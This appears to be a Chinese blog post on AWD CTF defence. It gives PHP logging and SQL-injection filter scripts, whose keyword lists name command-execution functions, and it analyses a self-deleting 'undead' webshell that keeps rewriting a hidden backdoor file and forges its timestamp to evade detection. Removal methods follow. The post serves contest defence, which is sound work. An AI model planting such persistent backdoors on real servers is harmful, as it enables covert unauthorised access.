防御脚本
github上的awd通防脚本三个。一个记录敏感请求,一个记录所有的东西。一个是waf,针对sql注入的。
wafjk.php
wafjk.php是用来记录敏感操作的,可以自行修改pattern,增加更多的敏感函数,只要匹配到,就会记录下来敏感操作。
首先我在index.php包含了include "wafjk.php";
php error_reporting(0); define('LOG_FILENAME', './log.txt'); function waf() { if (!function_exists('getallheaders')) { function getallheaders() { foreach ($_SERVER as $name => $value) { if (substr($name, 0, 5) == 'HTTP_') $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5))))) ] = $value; } return $headers; } } $get = $_GET; $post = $_POST; $cookie = $_COOKIE; $header = getallheaders(); $files = $_FILES; $ip = $_SERVER["REMOTE_ADDR"]; $method = $_SERVER['REQUEST_METHOD']; $filepath = $_SERVER["SCRIPT_NAME"]; //rewirte shell which uploaded by others, you can do more foreach ($_FILES as $key => $value) { $files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']); file_put_contents($_FILES[$key]['tmp_name'], "virink"); } unset($header['Accept']); //fix a bug $input = array( "Get" => $get, "Post" => $post, "Cookie" => $cookie, "File" => $files, "Header" => $header, "ip" =>$ip, "filepath" =>$filepath ); //deal with $pattern = "select|insert|update|delete|and|or|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex"; $pattern.= "|file_put_contents|fwrite|curl|system|eval|assert"; $pattern.= "|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore"; $pattern.= "|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec"; $vpattern = explode("|", $pattern); $bool = false; foreach ($input as $k => $v) { foreach ($vpattern as $value) { foreach ($v as $kk => $vv) { if (preg_match("/$value/i", $vv)) { $bool = true; logging($input); break; } } if ($bool) break; } if ($bool) break; } } function logging($var) { date_default_timezone_set("Asia/Shanghai");//修正时间为中国准确时间 $time=date("Y-m-d H:i:s");//将时间赋值给变量$time file_put_contents(LOG_FILENAME, "\r\n\r\n\r\n" . $time . "\r\n" . print_r($var, true) , FILE_APPEND); // die() or unset($_GET) or unset($_POST) or unset($_COOKIE); } waf(); ?>
请求
在当前目录创建的log.txt会记录敏感请求
waf.php
主要用来防止sql注入的,效果并不是太理想,并且可能很容易被check失分。现在都是自己写通防waf,匹配到关键字,函数等将会自动返回假的flag或者响应。
不多赘述
php //Code By Safe3 function customError($errno, $errstr, $errfile, $errline) { echo "Error number: [$errno],error on line $errline in $errfile
" ; die(); } set_error_handler("customError",E_ERROR); $getfilter="'|(and|or)\\b.+?(>|<|=|in|like)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?Select|Update.+?SET|Insert\\s+INTO.+?VALUES|(Select|Delete).+?FROM|(Create|Alter|Drop|TRUNCATE)\\s+(TABLE|DATABASE)" ; $postfilter="\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?Select|Update.+?SET|Insert\\s+INTO.+?VALUES|(Select|Delete).+?FROM|(Create|Alter|Drop|TRUNCATE)\\s+(TABLE|DATABASE)" ; $cookiefilter="\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?Select|Update.+?SET|Insert\\s+INTO.+?VALUES|(Select|Delete).+?FROM|(Create|Alter|Drop|TRUNCATE)\\s+(TABLE|DATABASE)" ; function StopAttack($StrFiltKey,$StrFiltValue,$ArrFiltReq){ if(is_array($StrFiltValue)) { $StrFiltValue=implode($StrFiltValue); } if (preg_match("/".$ArrFiltReq."/is",$StrFiltValue)==1){ //slog("
²Ù×÷IP: ".$_SERVER["REMOTE_ADDR"]."
²Ù×÷ʱ¼ä: ".strftime("%Y-%m-%d %H:%M:%S")."
²Ù×÷Ò³Ãæ:".$_SERVER["PHP_SELF"]."
Ìá½»·½Ê½: ".$_SERVER["REQUEST_METHOD"]."
Ìá½»²ÎÊý: ".$StrFiltKey."
Ìá½»Êý¾Ý: ".$StrFiltValue); print "websec notice:Illegal operation!" ; exit(); } } //$ArrPGC=array_merge($_GET,$_POST,$_COOKIE); foreach($_GET as $key=>$value){ StopAttack($key,$value,$getfilter); } foreach($_POST as $key=>$value){ StopAttack($key,$value,$postfilter); } foreach($_COOKIE as $key=>$value){ StopAttack($key,$value,$cookiefilter); } if (file_exists('update.php')) { echo "ÇëÖØÃüÃûÎļþupdate.php£¬·ÀÖ¹ºÚ¿ÍÀûÓÃ
"; die(); } function slog($logs) { $toppath=$_SERVER["DOCUMENT_ROOT"]."/log.htm"; $Ts=fopen($toppath,"a+"); fputs($Ts,$logs."\r\n"); fclose($Ts); }
wafzll.php
记录所有请求,用于流量分析,上马骑马。模仿放在/tmp/access_log里。也不赘述
php //Catch flow error_reporting(0); function debug(){ $f = fopen("/tmp/access_log", "a+"); $d = "[". date("Y-m-d H:i:s") . "] " . $_SERVER['REMOTE_ADDR'] . " -> ".$_SERVER['REQUEST_URI']." \n"; foreach($_GET as $key => $value){ $d .= " \$_GET[".$key."] => ".$value ."\n"; } foreach($_POST as $key => $value){ $d .= " \$_POST[".$key."] => ".$value ."\n"; } foreach($_COOKIE as $key => $value){ $d .= " \$_COOKIE[".$key."] => ".$value ."\n"; } foreach($_SERVER as $key => $value){ $d .= " \$_SERVER[".$key."] => ".$value."\n"; } foreach($_FILES as $key => $value){ $d .= " \$_FILES[".$key."] => ".$value."\n"; } fwrite($f, $d); fclose($f); } if(__LOADED__ == "__LOADED__"){ debug(); define("__LOADED__", "TRUE"); } ?>
不死马
以前有篇文章做过分析不死马了。放日记了。一会放出来。算了,直接放在这吧
php
ignore_user_abort(true);
set_time_limit(0); unlink(__FILE__); $file = './.index.php'; $code = ''; while (1){ file_put_contents($file,$code); system('touch -m -d "2017-11-17 15:20:54" .index.php'); usleep(50000); } ?>
先来解读下调用的system命令
touch -m -d "2017-11-17 15:20:54" .index.php
touch -m 只修改更改时间 -d 只用指定字符串表示时间
这句话的意思就是,创建一个index.php的隐藏文件
实验如下:
这样的话,别人看来,这个修改时间是2017年的,不是新创建的,以为就是以前的.index.php文件而已(有点猥琐这个东西,又是修改时间,又是隐藏文件,访问也得加上.index.php)
ignore_user_abort() 函数设置与客户机断开是否会终止脚本的执行(true会忽略与用户的断开)
set_time_limit() 设置脚本最大执行时间 set_time_limit(0)表示为长时间链接运行,没有时间限制
[set_time_limit()函数和配置指令max_execution_time只影响脚本本身执行的时间。任何发生在诸如使用system()的系统调用,流操作,数据库操作等的脚本执行的最大时间不包括其中,当该脚本已运行。在测量时间是实值的Windows中,情况就不是如此了.关闭php安全模式才能用这个函数]
unlink(_FILE_) _FILE_获取文件的绝对路径,就是删除本身
usleep() 函数延迟代码执行若干微秒
$code = '';
这句命令的意思,如果get传参,pass=正确的pass,才会执行一句话的功能。(AWD中,不给人家骑马)
while (1){
file_put_contents($file,$code); system('touch -m -d "2017-11-17 15:20:54" .index.php'); usleep(50000); }
这是写入操作,并且调用系统外部命令,创建隐藏的.index.php文件,然后暂停50000毫秒
分析:
ignore_user_abort(true)和set_time_limit(0)可以实现在后台不停的运行脚本 即PHP不断的运行这个脚本进程.即便文件删除了依然运行.
unlink(_FILE_)删除本体文件,起到隐藏
然后不停的写入一句话木马到.index.php中,并且暂停50000毫秒.但是进程仍在后台运行,仍然会不停的每隔50000毫秒创建一个.index.php利用页面
而且touch -m -d "2017-11-4 15:54:32" .index.php => 可以绕过find ./ -name '*.php' -mmin -10 十分钟内修改和创建的php文件(太猥琐了)
利用的方式就是http://xxxx/.index.php?pass=Just123.(我这里的利用方式是GET,吧上面的POST改成GET,或者你自己菜刀里配置下) 然后用菜刀连上去,参数为a
查杀方法
1.ps auxww|grep shell.php 找到pid后杀掉进程就可以,你删掉脚本是起不了作用的,因为php执行的时候已经把脚本读进去解释成opcode运行了
其次,最好的解决方案是kill掉www-data用户的所有子进程:(不知道原来shell.php的文件名呀)
ps aux | grep www-data | awk '{print $2}' | xargs kill -9
2.重启php等web服务
3.创建一个和不死马生成的马一样名字的文件夹。
4.用一个ignore_user_abort(true)脚本,一直竞争写入(断断续续)。usleep要低于对方不死马设置的值。
php
while (1) {
$pid = 不死马的进程PID; @unlink(".ski12.php"); exec("kill -9 $pid"); usleep(1000); } ?>
查杀测试
首先传入这个不死马
然后访问,使脚本运行,不死马脚本删除自身,后台内存在运行
你会发现根本无法删除。
第一种方法:kill进程号
并不能看到,找不到进程号,那就只能删除所有的www-data的子进程了
ps aux | grep www-data | awk '{print $2}' | xargs kill -9
删除成功
第二种方法:重启php服务
如果你有这个权限的话,重启php服务也许是最快的方法。
第三种方法:创建一个和不死马生成的马一样名字的文件夹
直接创建是无法创建的,因为存在.index.php文件。具体的方案自己摸索噢,自己思考入下如何创建.index.php文件夹呢。这里不赘述了
第三种方法:竞争脚本
因为找不到pid,写脚本的话,可以用exec一直删除www-data子进程,但是我怕被check down。所以不断unlink .index.php
php while (1) { @unlink(".index.php"); usleep(1000); } ?>
延迟时间一定要比不死马更短,不然起不到不停的杀死不死马创建的文件。
也可以写一个跟不死马一样的运行方式,访问一次后,脚本自动运行。
php error_reporting(0); ignore_user_abort(true); set_time_limit(0); unlink(__FILE__); while (1) { @unlink(".index.php"); usleep(1000); } ?>
用chattr命令防止系统中某个关键文件被修改:
chattr +i /etc/resolv.conf
chatter命令
附上awd基本套路文章:
https://xz.aliyun.com/t/25#toc-5